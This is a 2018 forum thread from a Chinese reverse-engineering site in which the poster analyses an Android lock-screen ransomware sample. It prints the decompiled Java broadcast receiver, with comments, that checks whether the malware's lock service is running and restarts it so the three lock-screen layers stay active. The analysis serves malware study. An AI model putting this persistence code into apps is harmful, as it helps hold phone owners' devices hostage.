吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 20008|回复: 43
收起左侧

[移动样本分析] 锁屏木马实现原理分析

  [复制链接]
wushaominkk 发表于 2018-3-1 21:43
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 wushaominkk 于 2018-3-1 21:57 编辑

最近在研究锁屏木马实现原理,正好看到论坛上云在天同学发的——多层Android锁机样本分析,文章写的很详细,正好有木马样本,所以拿过来研究下锁屏原理。解锁密码我就不分析了,需要的可以看云在天的原帖!多层Android锁机样本分析
https://www.52pojie.cn/thread-701201-1-1.html
先看看看图:
ss0rSqQ.jpg
一,首先用AndroidKiller反编译,apk没有加固顺利进入,一般锁屏有2种方式,一种通过广播实现,另外一种是在禁用物理按键从而达到锁屏的目的(具体原理可以看我写的另外一篇文章)
Android物理按键监听以及恶意代码分析
https://www.52pojie.cn/thread-703374-1-1.html
广播有2中注册方式,一种是在AndroidManifest.xml注册,一种是在代码中动态注册。先来看看AndroidMainfest.xml文件
如图:

2018-03-01_210352.jpg
静态注册了广播 name=".fuck",顺着思路我们找到这个类看看到底做了些什么操作
如图:
2018-03-01_211222.jpg
2018-03-01_211326.jpg
代码比较简单,步骤就不逐步分析了,直接加注释你们看
[Java] 纯文本查看 复制代码
public class fuck extends BroadcastReceiver
{
  SharedPreferences share;
  //判断服务是否被杀死
  public static boolean isServiceRun(Context paramContext, String paramString)
  {
    boolean bool = false;
        //获取运行中的所有服务
    paramContext = ((ActivityManager)paramContext.getSystemService("activity")).getRunningServices(40);
    int j = paramContext.size();
    int i = 0;
    if (i >= j) {}
        //遍历所有服务的类名是否是锁屏服务的类名
    for (;;)
    {
      return bool;
      if (!((ActivityManager.RunningServiceInfo)paramContext.get(i)).service.getClassName().equals(paramString))
      {
        i += 1;
        break;
      }
      bool = true;
    }
  }
  
  @Override
  public void onReceive(Context paramContext, Intent paramIntent)
  {
          //获取本地缓存对象
    this.share = paramContext.getSharedPreferences("xs", 0);
        //判断获取到的动作是否是com.qq2856437148
    if ("com.qq2856437148".equals(paramIntent.getAction()))
    {
                //如果是com.qq2856437148将boolean改名true
      this.share.edit().putBoolean("jc", true).commit();
      return;
    }
        //如果本地缓存是false并且运行中的服务被杀死,打开主界面锁屏界面
    if ((!this.share.getBoolean("jc", false)) && (!isServiceRun(paramContext, "com.qq2856437148"))) {}
    try
    {
      paramIntent = Class.forName("com.k7.qq2856437148.K7");
      paramIntent = new Intent(paramContext, paramIntent);
      paramIntent.addFlags(268435456);
      paramContext.startService(paramIntent);
      return;
    }
    catch (ClassNotFoundException paramContext)
    {
      throw new NoClassDefFoundError(paramContext.getMessage());
    }
  }

总结:其实很简单,说白了就是程序启动的时候开启3个服务,分别是3层锁屏界面,通过广播如果服务被杀死再次启动服务达到锁屏的目的

免费评分

参与人数 15吾爱币 +18 热心值 +14 收起 理由
九袋 + 1 谢谢@Thanks!
zzzlucas + 1 + 1 谢谢@Thanks!
楓楪-李 + 1 + 1 我很赞同!
萌小悦 + 1 + 1 我很赞同!
wentwent + 1 + 1 谢谢@Thanks!
夜莺之歌 + 1 + 1 热心回复!
syp0826 + 1 我很赞同!
li99774 + 1 谢谢@Thanks!
oscuser + 1 + 1 我很赞同!
qtfreet00 + 6 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
沉浮696 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
寂寞-孤独i + 1 + 1 我很赞同!
wojiaolif + 1 + 1 热心回复!
辛大胖 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
snccwt + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

6862091 发表于 2018-3-19 21:55
wushaominkk 发表于 2018-3-19 17:50
Android Killer V1.3.1正式版 发布信息
https://www.52pojie.cn/thread-319641-1-1.html

膜拜 大佬 ,刚进论坛还不熟悉。。
 楼主| wushaominkk 发表于 2018-3-19 17:50
jinfang 发表于 2018-3-1 21:51 来自手机
qinyuanjun1993 发表于 2018-3-1 22:08
感谢分享 支持一下
abao991 发表于 2018-3-1 22:17
感谢分享,学习~
我是,小冰 发表于 2018-3-1 22:25
谢谢,明白了!
我才不是狮子喵 发表于 2018-3-1 22:55
感谢分享,学习了
Time丶 发表于 2018-3-1 23:13
可以哦.很强大
回忆微凉 发表于 2018-3-2 00:18 来自手机
锁机软件也是这样吗
孟子郢 发表于 2018-3-2 00:19
支持一下,学习学习
 楼主| wushaominkk 发表于 2018-3-2 00:28 来自手机
回忆微凉 发表于 2018-3-2 00:18
锁机软件也是这样吗

基本上思路是这样的
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 11:24

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表